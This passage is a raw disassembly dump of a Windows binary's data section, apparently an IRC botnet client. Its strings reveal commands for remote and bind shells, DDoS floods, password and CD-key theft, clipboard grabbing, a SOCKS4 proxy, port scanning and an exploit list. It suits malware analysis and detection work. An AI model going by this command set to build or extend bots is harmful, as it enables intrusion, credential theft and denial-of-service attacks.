61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E2o dd 2E7473h unk_42BA60 db 2Dh ; - ; DATA XREF: sub_401ACD+28C7o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 dword_42BA98 dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh ; DATA XREF: sub_401ACD+2858o dd 2E676Fh dword_42BAB0 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B3o dd 6F666E49h, 2Eh dword_42BACC dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2784o dd 2E6F666Eh, 0 dword_42BAE8 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+272Fo dd 746F4220h, 2Eh unk_42BB04 db 2Dh ; - ; DATA XREF: sub_401ACD+2713o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 10h dword_42BB40 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h ; DATA XREF: sub_401ACD+269Eo dd 696C2073h, 2E7473h aFull db 'full',0 ; DATA XREF: sub_401ACD+267Eo align 4 unk_42BB64 db 2Dh ; - ; DATA XREF: sub_401ACD+261Co db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 dword_42BB84 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25F9o aSearchComplete db '- Search completed.',0 dword_42BBA4 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh ; DATA XREF: sub_401ACD+25ADo dd 2E7325h unk_42BBBC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEAo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42BBDC db 2Dh ; - ; DATA XREF: sub_401ACD+2513o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 4 unk_42BC04 db 2Dh ; - ; DATA XREF: sub_401ACD+24F4o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 10h dword_42BC30 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DEo dd 72616F62h, 2E64h dword_42BC4C dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B0o dd 2Dh unk_42BC64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 10h unk_42BC90 db 2Dh ; - ; DATA XREF: sub_401ACD+2499o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 4 unk_42BCB4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F42o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 10h unk_42BCE0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Bo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42BD0C db 2Dh ; - ; DATA XREF: sub_401ACD+2467o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 10h unk_42BD30 db 2Dh ; - ; DATA XREF: sub_401ACD+2414o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 4 unk_42BD6C db 2Dh ; - ; DATA XREF: sub_401ACD+23A5o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 unk_42BDA8 db 2Dh ; - ; DATA XREF: sub_401ACD+22BFo db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BDE4 db 2Dh ; - ; DATA XREF: sub_401ACD+2254o ; sub_40BACD+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42BE20 db 2Dh ; - ; DATA XREF: sub_401ACD+214Do db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42BE5C db 2Dh ; - ; DATA XREF: sub_401ACD+20DEo ; sub_40BACD+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 10h unk_42BE90 db 2Dh ; - ; DATA XREF: sub_401ACD+2029o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 10h unk_42BEB0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 unk_42BEE8 db 2Dh ; - ; DATA XREF: sub_401ACD+1FC3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 4 unk_42BF24 db 2Dh ; - ; DATA XREF: sub_401ACD+1F52o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F27o ; sub_401ACD+5BEEo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F20o ; sub_401ACD+5BE7o align 4 unk_42BFA4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D6Do db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42BFE4 db 2Dh ; - ; DATA XREF: sub_401ACD+1D0Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 unk_42C020 db 2Dh ; - ; DATA XREF: sub_401ACD+1C95o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Co align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Bo align 4 aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C28o align 4 aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C11o align 4 aSa db 'sa',0 ; DATA XREF: sub_401ACD+1BFCo align 4 aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE7o ; sub_401ACD+4FA1o dword_42C090 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h ; DATA XREF: sub_401ACD+1B97o dd 746F6220h, 2Eh aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B81o ; sub_401ACD+1BD1o align 4 aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Co align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B57o align 4 aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B42o align 10h aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Do align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B18o align 4 aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B03o align 4 aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEEo aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1AD9o align 4 aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC4o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AAFo align 4 aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Ao align 10h aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A85o align 4 aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A70o align 10h aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Bo unk_42C138 db 2Dh ; - ; DATA XREF: sub_401ACD+1A1Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401ACD+1A02o ; sub_401ACD+3CAFo ... aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19EBo align 4 unk_42C16C db 2Dh ; - ; DATA XREF: sub_401ACD+19CDo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1995o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403453o dword_42C1A0 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Bo dword_42C1B4 dd 6F6877h ; DATA XREF: sub_401ACD+193Eo dword_42C1B8 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1933o dword_42C1C4 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401ACD+192Eo aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1915o aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1900o align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18EBo aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D6o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C1o align 4 aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ACo aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1897o align 4 aUp db 'up',0 ; DATA XREF: sub_401ACD+1882o align 10h aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Do align 4 aKey db 'key',0 ; DATA XREF: sub_401ACD+1858o aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1843o align 4 aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Eo align 4 aProcs db 'procs',0 ; DATA XREF: sub_401ACD+1819o align 4 aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17EFo ; sub_401ACD+1804o align 4 aSi db 'si',0 ; DATA XREF: sub_401ACD+17DAo align 10h aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C5o aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B0o align 4 aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Bo aClg db 'clg',0 ; DATA XREF: sub_401ACD+1786o aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1771o align 4 aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Co align 4 aLog db 'log',0 ; DATA XREF: sub_401ACD+1747o aAl db 'al',0 ; DATA XREF: sub_401ACD+1732o align 10h aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Do aT: ; DATA XREF: sub_401ACD+1708o ; ___:00437F84o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F3o unk_42C284 db 2Dh ; - ; DATA XREF: sub_401ACD+16BFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 unk_42C2AC db 2Dh ; - ; DATA XREF: sub_401ACD+16B8o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A1o align 4 aI: ; DATA XREF: sub_401ACD+168Co unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401ACD+1677o align 4 aS_0: ; DATA XREF: sub_401ACD+1662o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Do align 4 aQ: ; DATA XREF: sub_401ACD+1638o ; ___:off_437BF0o unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1623o align 4 aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Eo align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15F9o align 4 aR: ; DATA XREF: sub_401ACD+15E4o ; sub_401ACD+3DA8o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15CFo align 4 aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BAo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401ACD+15A5o aCbstats db 'cbstats',0 ; DATA XREF: sub_401ACD+1590o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Bo align 4 aTrstats db 'trstats',0 ; DATA XREF: sub_401ACD+1566o aTransferstats db 'transferstats',0 ; DATA XREF: sub_401ACD+1551o align 4 aStats db 'stats',0 ; DATA XREF: sub_401ACD+153Co align 4 aScanstats db 'scanstats',0 ; DATA XREF: sub_401ACD+1527o align 10h dword_42C370 dd 234032Dh, 6E616373h, 2D0302h ; DATA XREF: sub_401ACD+151Co aScan_0 db 'Scan',0 ; DATA XREF: sub_401ACD+1517o align 4 aScanstop db 'scanstop',0 ; DATA XREF: sub_401ACD+14FEo align 10h dword_42C390 dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401ACD+14F3o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401ACD+14EEo align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401ACD+14D5o align 4 dword_42C3B4 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401ACD+14CAo aClone db 'Clone',0 ; DATA XREF: sub_401ACD+14C5o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401ACD+14ACo align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401ACD+1497o align 10h aProcsstop db 'procsstop',0 ; DATA XREF: sub_401ACD+1482o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401ACD+146Do align 4 aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401ACD+1458o align 4 dword_42C404 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401ACD+144Do aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401ACD+142Fo align 10h aPingstop db 'pingstop',0 ; DATA XREF: sub_401ACD+1406o align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401ACD+13DDo aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401ACD+13B4o align 10h aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401ACD+138Bo unk_42C44C db 2Dh ; - ; DATA XREF: sub_401ACD+1371o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C480 dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401ACD+1336o ; sub_401ACD+13D2o dword_42C490 dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401ACD+1331o ; sub_401ACD+13CDo dword_42C4A0 dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401ACD+1318o ; sub_401ACD+13A9o dword_42C4B0 dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1313o ; sub_401ACD+13A4o dword_42C4C0 dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401ACD+12B8o ; sub_401ACD+1424o dword_42C4CC dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B3o ; sub_401ACD+141Fo dword_42C4D8 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Ao ; sub_401ACD+13FBo dword_42C4E4 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1295o ; sub_401ACD+13F6o aPacketstop db 'packetstop',0 ; DATA XREF: sub_401ACD+1235o align 4 dword_42C4FC dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401ACD+122Ao ; sub_401ACD+12F7o dword_42C508 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1225o ; sub_401ACD+12F2o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401ACD+120Co align 10h dword_42C520 dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401ACD+1201o ; sub_401ACD+12D9o dword_42C530 dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11FCo ; sub_401ACD+12D4o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401ACD+11E3o align 4 dword_42C54C dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401ACD+11D8o ; sub_401ACD+1357o dword_42C55C dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401ACD+11D3o ; sub_401ACD+1352o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401ACD+11BAo align 4 dword_42C578 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11AFo ; sub_401ACD+1279o dword_42C584 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11AAo ; sub_401ACD+1274o aSynstop db 'synstop',0 ; DATA XREF: sub_401ACD+1191o dword_42C598 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401ACD+1186o ; sub_401ACD+125Bo dword_42C5A4 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1181o ; sub_401ACD+1256o dword_42C5B0 dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1168o dword_42C5BC dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401ACD+115Do dword_42C5CC dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401ACD+1158o aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401ACD+113Fo align 4 dword_42C5EC dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1134o dword_42C5F8 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401ACD+112Fo aLogstop db 'logstop',0 ; DATA XREF: sub_401ACD+1116o dword_42C60C dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401ACD+110Bo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401ACD+10EDo align 4 dword_42C628 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401ACD+10E2o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401ACD+10C4o align 4 dword_42C644 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401ACD+10BCo aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401ACD+109Eo align 10h aS4 db 's4',0 ; DATA XREF: sub_401ACD+1089o align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401ACD+1074o align 4 dword_42C66C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401ACD+1052o aServer_0 db 'Server',0 ; DATA XREF: sub_401ACD+104Do ; sub_401ACD+10B7o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401ACD+1034o align 4 aBd db 'bd',0 ; DATA XREF: sub_401ACD+101Fo align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401ACD+100Ao align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401ACD+FF5o align 10h aUnsecure db 'unsecure',0 ; DATA XREF: sub_401ACD+FE0o align 4 aSec db 'sec',0 ; DATA XREF: sub_401ACD+FCBo ; sub_401ACD+2D69o aSecure db 'secure',0 ; DATA XREF: sub_401ACD+FB6o ; sub_401ACD+2D58o align 4 aSt db 'st',0 ; DATA XREF: sub_401ACD+FA1o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401ACD+F8Co align 4 aDed db 'ded',0 ; DATA XREF: sub_401ACD+F77o aDedication db 'dedication',0 ; DATA XREF: sub_401ACD+F62o align 4 aVer db 'ver',0 ; DATA XREF: sub_401ACD+F4Do aVersion db 'version',0 ; DATA XREF: sub_401ACD+F38o aLo db 'lo',0 ; DATA XREF: sub_401ACD+F23o align 4 aLogout db 'logout',0 ; DATA XREF: sub_401ACD+F0Eo align 10h aD: ; DATA XREF: sub_401ACD+EF9o ; ___:00437C1Co ... unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401ACD+EE4o aRn db 'rn',0 ; DATA XREF: sub_401ACD+ECFo align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401ACD+EB7o a63 db '63',0 ; DATA XREF: sub_401ACD+D84o align 4 asc_42C718: ; DATA XREF: sub_401ACD+D5Co unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401ACD+D1Fo align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401ACD+D14o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401ACD+D03o align 4 aChan db '$chan',0 ; DATA XREF: sub_401ACD+CE7o align 10h aUser_0 db '$user',0 ; DATA XREF: sub_401ACD+CD6o align 4 aMe db '$me',0 ; DATA XREF: sub_401ACD+CC4o aD_0 db '$%d',0 ; DATA XREF: sub_401ACD+C56o aD_1 db '$%d-',0 ; DATA XREF: sub_401ACD+B92o align 4 aK: ; DATA XREF: sub_401ACD+AA6o ; sub_401ACD+3DD2o ... unicode 0, <k>,0 unk_42C75C db 2Dh ; - ; DATA XREF: sub_401ACD+A80o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 10h unk_42C790 db 2Dh ; - ; DATA XREF: sub_401ACD+A6Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 10h unk_42C7C0 db 2Dh ; - ; DATA XREF: sub_401ACD+A5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_31 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401ACD+9EFo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401ACD+958o align 10h unk_42C820 db 2Dh ; - ; DATA XREF: sub_401ACD+938o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42C864 db 2Dh ; - ; DATA XREF: sub_401ACD+920o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start transfer thread, error: <%d>.',0 align 10h dword_42C8A0 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401ACD+90Fo dd 0A0Dh dword_42C8B8 dd 4E495001h, 47h ; DATA XREF: sub_401ACD+8DBo dword_42C8C0 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401ACD+8D0o dd 0D017325h, 0Ah dword_42C8DC dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401ACD+89Fo dword_42C8E8 dd 23h ; DATA XREF: sub_401ACD+816o ; sub_40CA7F+1Bo unk_42C8EC db 2Dh ; - ; DATA XREF: sub_401ACD+785o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_1 db '%s',0 ; DATA XREF: sub_401ACD+706o ; sub_401ACD+995o ... align 10h aSend_0 db 'SEND',0 ; DATA XREF: sub_401ACD+6DFo align 4 dword_42C928 dd 43434401h, 0 ; DATA XREF: sub_401ACD+6C1o dword_42C930 dd 323333h ; DATA XREF: sub_401ACD+64Bo ; sub_401ACD+ADCo ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401ACD+629o ; sub_409A72+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401ACD+61Do ; sub_409A72+16o unk_42C944 db 2Dh ; - ; DATA XREF: sub_401ACD+5CCo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_42C968 db 2Dh ; - ; DATA XREF: sub_401ACD+5A5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401ACD+574o aQuit db 'QUIT',0 ; DATA XREF: sub_401ACD+537o align 4 aPart db 'PART',0 ; DATA XREF: sub_401ACD+526o ; sub_401ACD+5E9o align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401ACD+4FEo align 4 aNick db 'NICK',0 ; DATA XREF: sub_401ACD+3D0o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o ; sub_401ACD+60Do unk_42C9BC db 2Dh ; - ; DATA XREF: sub_401ACD+355o ; sub_401ACD+2EBCo ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401ACD+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+28Do ; sub_401ACD+7C8Eo ... align 10h a433 db '433',0 ; DATA XREF: sub_401ACD+262o ; sub_4177CF:loc_417837o a@: ; DATA XREF: sub_401ACD+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401ACD+22Ao a005 db '005',0 ; DATA XREF: sub_401ACD+215o a001 db '001',0 ; DATA XREF: sub_401ACD+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o ; sub_401ACD+3B7o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C3o align 10h aPing db 'PING',0 ; DATA XREF: sub_401ACD+1A9o ; sub_4177CF+50o align 4 asc_42CA28: ; DATA XREF: sub_401ACD+19Ao ; sub_401ACD+7DADo unicode 0, <!>,0 asc_42CA2C: ; DATA XREF: sub_401ACD+A8o ; sub_401ACD+E5Co ... unicode 0, < >,0 asc_42CA30 db ' :',0 ; DATA XREF: sub_401ACD+86o ; sub_401ACD:loc_402601o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409B12:loc_40A77Co align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409B12+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409B12+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409B12+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409B12+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409B12+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409B12:loc_40A6DEo align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409B12+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: 